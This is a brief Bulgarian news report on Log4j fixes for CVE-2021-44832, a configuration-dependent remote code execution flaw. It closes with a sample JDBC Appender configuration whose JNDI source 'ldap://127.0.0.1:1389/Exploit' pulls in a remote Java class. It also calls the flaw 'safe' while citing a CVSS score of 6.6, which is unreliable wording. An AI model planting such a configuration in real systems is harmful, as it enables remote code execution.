Публикувани са корективни версии на библиотеката Log4j 2.17.1, 2.3.2-rc1 и 2.12.4-rc1, в които е отстранена още една уязвимост (CVE-2021-44832). Споменава се, че проблемът позволява организиране на дистанционно изпълнение на код (RCE), но е обозначен като безопасен (CVSS Score 6.6) и представлява предимно теоретичен интерес, тъй като изисква специфични условия за експлоатация — атакуващият трябва да има възможност да направи промяна в конфигурационния файл на Log4j, т.е. да има достъп до атакуваната система и права да променя стойността на параметъра log4j2.configurationFile или да внася промени в съществуващите файлове с настройки за логване.
Атаката се свежда до определяне на локалната система с конфигурация на базата на JDBC Appender, сочеща към външен JNDI URI, при запитване на който може да бъде върнат Java клас за изпълнение. По подразбиране JDBC Appender не е конфигуриран да обработва протоколи, различни от Java, т.е. без промяна в конфигурацията, атаката е невъзможна. Освен това, проблемът се проявява само в JAR файла log4j-core и не засяга приложения, използващи JAR файла log4j-api без log4j-core.<Appenders> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/> … </JDBC> </Appenders>
Източник: opennet.ru
